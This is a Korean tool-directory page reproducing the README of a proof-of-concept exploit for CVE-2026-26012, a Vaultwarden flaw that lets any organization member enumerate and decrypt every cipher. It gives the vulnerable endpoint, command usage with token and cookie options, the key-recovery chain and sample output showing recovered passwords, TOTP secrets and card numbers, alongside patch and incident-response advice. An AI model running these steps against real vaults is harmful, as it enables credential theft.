Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-26012 — CVE-2026-26012에 대한 개념 증명 익스플로잇으로, Vaultwarden의 손상된 접근 제어로 인해 모든 조직 구성원이 컬렉션 권한을 우회하여 모든 암호를 열거하고 복호화할 수 있습니다. | Kitploit
도구/GitHubGitHub/dulieno/cve-2026-26012
Vulnerability AnalysisExploitationWeb SecurityCryptographyPenetration TestingLearning & Education
GitHubdulieno/cve-2026-26012

CVE-2026-26012

CVE-2026-26012에 대한 개념 증명 익스플로잇으로, Vaultwarden의 손상된 접근 제어로 인해 모든 조직 구성원이 컬렉션 권한을 우회하여 모든 암호를 열거하고 복호화할 수 있습니다.

저장소 보기
157개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-26012 — Vaultwarden Cipher Enumeration PoC

AI Assisted License

조직 컬렉션 권한을 무시하는 전체 Cipher Enumeration

CVE-2026-26012에 대한 개념 증명(PoC) 익스플로잇으로, Vaultwarden (<= 1.35.2)의 손상된 접근 제어 취약점입니다. 이 취약점으로 인해 조직의 모든 구성원이 컬렉션 수준 권한과 관계없이 조직 내 모든 cipher를 검색하고 복호화할 수 있습니다.

🤖 참고: 이 프로젝트는 Claude 3 Opus의 도움으로 개발되었습니다. AI는 코드 생성, 아키텍처 구조, 문서화에 활용되었습니다. 모든 결과물은 수동으로 검토되고 품질 보증을 위해 테스트되었습니다.

개요

CVECVE-2026-26012
AdvisoryGHSA-h265-g7rm-h337
영향 범위Vaultwarden ≤ 1.35.2
수정 버전1.35.3
CVSS 3.16.5 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — 잘못된 권한 부여
공로@odgrso 발견, @BlackDex 수정

취약점

API 엔드포인트 GET /api/ciphers/organization-details는 조직의 모든 구성원이 접근할 수 있습니다. 내부적으로 Cipher::find_by_org를 호출하여 조직의 모든 cipher를 반환한 다음, 컬렉션 수준 접근 제어를 적용하지 않고 CipherSyncType::Organization으로 제공합니다.

조직의 모든 cipher는 동일한 조직 암호화 키를 공유하므로(가입 시 모든 구성원이 받는 키), 유출된 cipher는 클라이언트 측에서 완전히 복호화될 수 있습니다.

root@kitploit:~
일반 조직 구성원("Public" 컬렉션으로 제한됨)
    │
    ├── GET /api/sync                     → 5개 cipher (정상)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47개 cipher (조직의 모든 cipher — 버그)
                  └──→ 제한된 컬렉션의 42개 cipher (유출됨)
                        └──→ 구성원이 이미 보유한 조직 키로 복호화 가능

저장소 구성

root@kitploit:~
.
├── README.md                   # 이 파일
├── poc_cve_2026_26012.py       # 1단계: Cipher enumeration 및 유출 탐지
├── poc_decrypt.py              # 2단계: 조직 키 복구 및 cipher 복호화
└── LICENSE

요구 사항

  • Python 3.8+
  • cryptography (2단계 복호화용)
  • argon2-cffi (대상 인스턴스가 Argon2id KDF를 사용하는 경우에만)
root@kitploit:~
pip install cryptography
pip install argon2-cffi  # 선택 사항

사용 방법

1단계 — 유출된 cipher 열거

일반 /api/sync 엔드포인트가 반환하는 cipher와 취약한 /api/ciphers/organization-details 엔드포인트가 반환하는 cipher를 비교하여 인스턴스가 취약한지 탐지합니다.

root@kitploit:~
# 브라우저로 인증(SSO + 2FA 지원) 후 Bearer 토큰 전달
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
모든 인증 옵션
root@kitploit:~
# Bearer 토큰 (권장 — SSO + 2FA 지원)
--token "eyJhbGciOi..."

# 세션 쿠키
--cookie "VAULTWARDEN_SESSION=abc123..."

# 원시 Cookie 헤더 (여러 쿠키)
--cookie-header "session=abc; token=xyz"

# 직접 비밀번호 로그인 (SSO 및 2FA 미지원)
--email [email protected] --password "MasterPassword"

Bearer 토큰 추출 방법:

  1. Vaultwarden 웹 볼트에 로그인 (평소대로 SSO + 2FA 완료)
  2. 브라우저 DevTools(F12) → Network 탭 열기
  3. 볼트에서 항목을 클릭하여 API 호출 트리거
  4. /api/... 요청을 찾아 Authorization 헤더 값 복사
추가 옵션
root@kitploit:~
--no-verify-ssl     # SSL 검증 건너뛰기 (자체 서명 인증서)
--show-all          # 정상적으로 접근 가능한 cipher도 표시
--max-display 50    # 표시할 유출 cipher 최대 수 (기본값: 20)
--output results.json  # 전체 결과를 JSON으로 내보내기

2단계 — 유출된 cipher 복호화

조직 암호화 키를 복구하고 1단계에서 유출된 모든 cipher를 복호화합니다.

root@kitploit:~
python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

참고: --master-password는 Vaultwarden 마스터 비밀번호로, 복호화 키 체인을 파생하기 위해 로컬에서만 사용됩니다. 네트워크로 전송되지 않습니다. --token이 API 인증을 처리합니다.

문제 해결: 키 복호화가 실패하면 --debug를 추가하여 각 단계의 중간 값을 확인하세요. 스크립트는 계정 연령과 구성을 처리하기 위해 5가지 전략(HKDF 최신, HMAC 레거시, 원시 키, HMAC 건너뛰기 변형)을 자동으로 시도합니다.

대안: 조직 키 직접 제공

이미 64바이트 조직 키(128자리 16진수)가 있는 경우:

root@kitploit:~
python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

출력 예시

root@kitploit:~
[*] === 키 복구 체인 ===

[1/6] KDF 매개변수 가져오는 중...
       KDF: PBKDF2-SHA256, iterations: 600000
[2/6] 마스터 키 파생 중...
[3/6] 마스터 키 스트레칭 중 (HKDF-Expand)...
[4/6] /api/sync에서 암호화된 키 가져오는 중...
       Organization: ACME Corp
[5/6] 사용자 대칭 키 복호화 중...
[6/6] RSA 개인 키 복호화 → 조직 키...

[+] 조직 키 복구 성공!

[*] 42개 cipher 복호화 중...

============================================================
  복호화 결과
============================================================
  총계:      42
  복호화됨:  42
  오류:      0

  영향 요약
  복구된 비밀번호:     35
  복구된 TOTP 시크릿:  12
  복구된 카드 번호:    3
============================================================

작동 원리

키 파생 체인

조직의 모든 구성원은 이미 RSA 공개 키로 암호화된 조직의 대칭 키를 보유하고 있습니다. 복호화 체인은 다음과 같습니다:

root@kitploit:~
마스터 비밀번호 + 이메일
    │  PBKDF2-SHA256 또는 Argon2id
    ▼
마스터 키 (32바이트)
    │  HKDF-Expand-SHA256
    ▼
스트레치 키: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (profile.key 복호화)
    ▼
사용자 대칭 키: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (profile.privateKey 복호화)
    ▼
RSA 개인 키 (2048비트 PKCS#8 DER)
    │  RSA-OAEP-SHA1 (profile.organizations[].key 복호화)
    ▼
조직 키: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
복호화된 cipher 데이터

컬렉션 ACL이 데이터를 보호하지 못하는 이유

Bitwarden/Vaultwarden 모델에서 조직의 모든 cipher는 동일한 암호화 키를 공유합니다. 컬렉션 기반 접근 제어는 서버 측에서만 적용됩니다 — 암호화 모델은 컬렉션 경계를 강제하지 않습니다. 조직 키를 가진 모든 구성원은 조직의 모든 cipher를 복호화할 수 있습니다. 이 CVE는 서버 측 필터를 우회하여 모든 cipher를 모든 구성원에게 노출시킵니다.

복호화되는 내용

Cipher 유형복호화되는 필드
Loginusername, password, TOTP secret, URIs
Cardcardholder, number, CVV, expiration
Identityname, SSN, passport, address, phone, email
Secure Note전체 메모 내용
모든 유형사용자 정의 필드, 첨부 파일 메타데이터

해결 방법

즉시 Vaultwarden을 1.35.3 이상으로 업데이트하세요.

root@kitploit:~
docker pull vaultwarden/server:1.35.3

패치 적용 후 1단계를 다시 실행하여 수정을 확인하세요 — 도구가 NOT VULNERABLE을 보고해야 합니다.

사고 후 조치

다중 사용자 조직에서 취약한 버전을 실행 중이었다면:

  1. 일부 구성원에게 제한되었던 컬렉션에 저장된 모든 자격 증명을 교체하세요
  2. 볼트에 TOTP가 저장된 모든 계정의 TOTP 시크릿을 폐기하고 재생성하세요
  3. 조직 구성원을 검토하고 불필요한 구성원을 제거하세요
  4. /api/ciphers/organization-details에 대한 비정상적인 API 호출이 있는지 액세스 로그를 감사하세요

책임 있는 공개

이 PoC는 취약점이 공개적으로 공개되고 패치된 이후에 게시되었습니다:

  • 2026-02-10 — 수정 사항이 포함된 Vaultwarden 1.35.3 릴리스
  • 2026-02-11 — CVE-2026-26012 지정 및 advisory 게시
  • 2026-02-11 — GHSA-h265-g7rm-h337 게시

감사의 말

이 PoC는 원래 보안 연구원과 유지 관리자의 작업 없이는 존재할 수 없었습니다:

역할담당자기여
취약점 보고자@odgrsoCVE-2026-26012 발견 및 책임 있는 공개
수정 개발자@BlackDexVaultwarden 1.35.3에서 수정 사항 개발 및 배포
프로젝트 유지 관리자@dani-garciaVaultwarden 창시자, advisory 및 릴리스 조정

오픈소스 생태계를 더 안전하게 유지해 주셔서 감사합니다.

법적 고지

이 개념 증명은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하지 않은 시스템을 테스트하기 전에 명시적인 서면 승인이 있어야 합니다. 컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국) 및 전 세계의 동등한 법률에 따라 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다.

참고 자료

  • GHSA-h265-g7rm-h337 — GitHub Security Advisory
  • CVE-2026-26012 — NVD 항목
  • Vaultwarden 1.35.3 — 패치된 릴리스
  • Bitwarden Security Whitepaper — 암호화 모델 참조

라이선스

MIT — LICENSE 참조.

도구 다운로드